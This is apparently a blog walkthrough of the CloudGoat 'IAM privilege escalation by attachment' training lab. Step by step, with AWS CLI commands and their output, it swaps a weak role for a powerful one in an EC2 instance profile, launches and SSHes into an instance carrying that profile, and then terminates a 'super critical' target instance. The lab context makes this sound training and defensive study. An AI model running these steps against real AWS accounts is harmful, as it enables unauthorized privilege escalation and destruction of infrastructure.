CloudGoat: IAM Privilege Escalation by Attachment

3 minute read

In this scenaio, they provide us the kerrigan user who can list role, add and remove instance profile role. We will use these permissions to do privilege escalation.

List instance profiles

aws --profile kerrigan iam list-instance-profiles

Result:

{
    "InstanceProfiles": [
        {
            "InstanceProfileName": "cg-ec2-meek-instance-profile-iam_privesc_by_attachment_###",
            "Arn": "arn:aws:iam::###:instance-profile/cg-ec2-meek-instance-profile-iam_privesc_by_attachment_###",
            "Roles": [
                {

                    "RoleName": "cg-ec2-meek-role-iam_privesc_by_attachment_###",
                    "Arn": "arn:aws:iam::###:role/cg-ec2-meek-role-iam_privesc_by_attachment_###",
                    "AssumeRolePolicyDocument": {
                        "Version": "2012-10-17",
                        "Statement": [
                            {
                                "Effect": "Allow",
                                "Principal": {
                                    "Service": "ec2.amazonaws.com"
                                },
                                "Action": "sts:AssumeRole"
                            }
                        ]
                    }
                }
            ]
        }
    ]
}

We got an instance profile cg-ec2-meek-instance-profile-iam_privesc_by_attachment_### with a role cg-ec2-meek-role-iam_privesc_by_attachment_### that allow to be assumed by ec2 instances.

List all roles

aws --profile kerrigan iam list-roles

Result:

{
    "Roles": [
        {
            "RoleName": "cg-ec2-meek-role-iam_privesc_by_attachment_###",
            "Arn": "arn:aws:iam::###:role/cg-ec2-meek-role-iam_privesc_by_attachment_###",
            "AssumeRolePolicyDocument": {
                "Version": "2012-10-17",
                "Statement": [
                    {
                        "Effect": "Allow",
                        "Principal": {
                            "Service": "ec2.amazonaws.com"
                        },
                        "Action": "sts:AssumeRole"
                    }
                ]
            }
        },
        {
            "RoleName": "cg-ec2-mighty-role-iam_privesc_by_attachment_###",
            "Arn": "arn:aws:iam::###:role/cg-ec2-mighty-role-iam_privesc_by_attachment_###",
            "AssumeRolePolicyDocument": {
                "Version": "2012-10-17",
                "Statement": [
                    {
                        "Effect": "Allow",
                        "Principal": {
                            "Service": "ec2.amazonaws.com"
                        },
                        "Action": "sts:AssumeRole"
                    }
                ]
            }
        }
    ]
}

There are 2 interesting roles. We knew that our instance profile are using the cg-ec2-meek-role-iam_privesc_by_attachment_### role, and we will change the instance profile to use the cg-ec2-mighty-role-iam_privesc_by_attachment_### role.

To make the blog shorter, I will assume that we knew the cg-ec2-meek-role-iam_privesc_by_attachment_### role doesn’t have any permission. You can explore by creating new ec2 instance with the cg-ec2-meek-instance-profile-iam_privesc_by_attachment_### instance profile.

Remove role from instance profile

aws --profile kerrigan iam remove-role-from-instance-profile --instance-profile-name cg-ec2-meek-instance-profile-iam_privesc_by_attachment_### --role-name cg-ec2-meek-role-iam_privesc_by_attachment_###

Attach new role to instance profile

aws --profile kerrigan iam add-role-to-instance-profile --instance-profile-name cg-ec2-meek-instance-profile-iam_privesc_by_attachment_### --role-name cg-ec2-mighty-role-iam_privesc_by_attachment_###

Run new instance with modified instance profile

To run new instance, we need key pair to do ssh from our computer to the instance, security groups id for allowing us to ssh with port 22, instance profile arn, and subet ID.

Create key pair

aws --profile kerrigan ec2 create-key-pair --key-name pwned --query 'KeyMaterial' --output text > pwned.pem

This command will create key pair with name pwned and save private key to file pwned.pem

To be able to run ssh with private key pwned.pem, you need to change the file permission.

chmod 400 pwned.pem

Get security group

aws --profile kerrigan ec2 describe-security-groups

Result:

{
 "SecurityGroups": [
        {
            "Description": "CloudGoat iam_privesc_by_attachment_### Security Group for EC2 Instance over HTTP",
            "GroupName": "cg-ec2-http-iam_privesc_by_attachment_###",
            "GroupId": "<security-group-id>"
        },
        {
            "Description": "CloudGoat iam_privesc_by_attachment_### Security Group for EC2 Instance over SSH",
            "GroupName": "cg-ec2-ssh-iam_privesc_by_attachment_###",
            "GroupId": "<security-group-id>"
        }
    ]
}

The scenario already provided us 2 security groups for HTTP and SSH request.

List subnets

aws --profile kerrigan ec2 describe-subnets

Result:

{
    "Subnets": [
        {
            "SubnetId": "<subnet-id>",
            "Tags": [
                {
                    "Key": "Name",
                    "Value": "CloudGoat iam_privesc_by_attachment_### Public Subnet"
                },
                {
                    "Key": "Stack",
                    "Value": "CloudGoat"
                },
                {
                    "Key": "Scenario",
                    "Value": "iam-privesc-by-attachment"
                }
            ]
        }
    ]
}

Run EC2 instance

aws --profile kerrigan ec2 run-instances --image-id ami-0a313d6098716f372 --instance-type t2.micro --iam-instance-profile Arn=arn:aws:iam::###:instance-profile/cg-ec2-meek-instance-profile-iam_privesc_by_attachment_### --key-name pwned --subnet-id <subnet-id> --security-security-group-ids <security-group-id-ssh> <security-group-id-http>

This command will create and run new EC2 instance with instance type t2.micro, image id ami-0a313d6098716f372 which is an ubuntu image, and attach key pwned.

Result:

{
    "Groups": [],
    "Instances": [
        {
            "ImageId": "ami-0a313d6098716f372",
            "InstanceId": "<instance-id>",
            "InstanceType": "t2.micro",
            "KeyName": "pwned",
            "State": {
                "Code": 0,
                "Name": "pending"
            },
            "IamInstanceProfile": {
                "Arn": "arn:aws:iam::###:instance-profile/cg-ec2-meek-instance-profile-iam_privesc_by_attachment_###"
            }
        }
    ]
}

We will get the EC2 instance with pending state and doesn’t have public ip yet. After the instance is in running state, we will get an public ip.

Get instance detail

aws --profile kerrigan ec2 describe-instances --instance-id <instance-id>

Result:

{
    "Groups": [],
    "Instances": [
        {
            "ImageId": "ami-0a313d6098716f372",
            "InstanceId": "<instance-id>",
            "InstanceType": "t2.micro",
            "KeyName": "pwned",
            "PublicDnsName": "<public-dns-name>",
            "PublicIpAddress": "<public-ip-address>",
            "State": {
                "Code": 16,
                "Name": "running"
            },
            "IamInstanceProfile": {
                "Arn": "arn:aws:iam::###:instance-profile/cg-ec2-meek-instance-profile-iam_privesc_by_attachment_###"
            }
        }
    ]
}

Shell to the instance

ssh -i pwned.pem ubuntu@<public-dns-name-or-public-ip-address>

This command will shell to the instance with user ubuntu and private key pwned.pem

Now, we are in the instance!!!

See the role

To see the role, we need to install AWS CLI on this instance.

sudo apt update

This command will update the list of avaliable packages

sudo apt install awscli

This command will install AWS CLI on our instance

Now, we can use AWS CLI.

Let’s check our role.

aws sts get-caller-identity

Result:

{
    "Arn": "arn:aws:sts::###:assumed-role/cg-ec2-mighty-role-iam_privesc_by_attachment_###/<instance-id>"
}

Our instance are on the cg-ec2-mighty-role-iam_privesc_by_attachment_### role.

We are god now, you can do whatever you want.

Terminate another instances

In this scenario, our goal is terminating the super critical instance.

Let’s list instances first.

aws ec2 describe-instances --query 'Reservations[*].Instances[*].InstanceId'

aws ec2 describe-instances will show all the ec2 instances in our account and --query is for querying only the detail that we want, in this case instance id.

Result:

[
    [
        "<super-critical-instance-id>"
    ],
    [
        "<our-new-instance-id>"
    ]
]

Let’s Terminate the super critical instance

aws ec2 terminate-instances --instance-ids <target-instance-id>

Result:

{
    "TerminatingInstances": [
        {
            "CurrentState": {
                "Code": 32,
                "Name": "shutting-down"
            },
            "InstanceId": "<target-instance-id>",
            "PreviousState": {
                "Code": 16,
                "Name": "running"
            }
        }
    ]
}

We succeeded 👾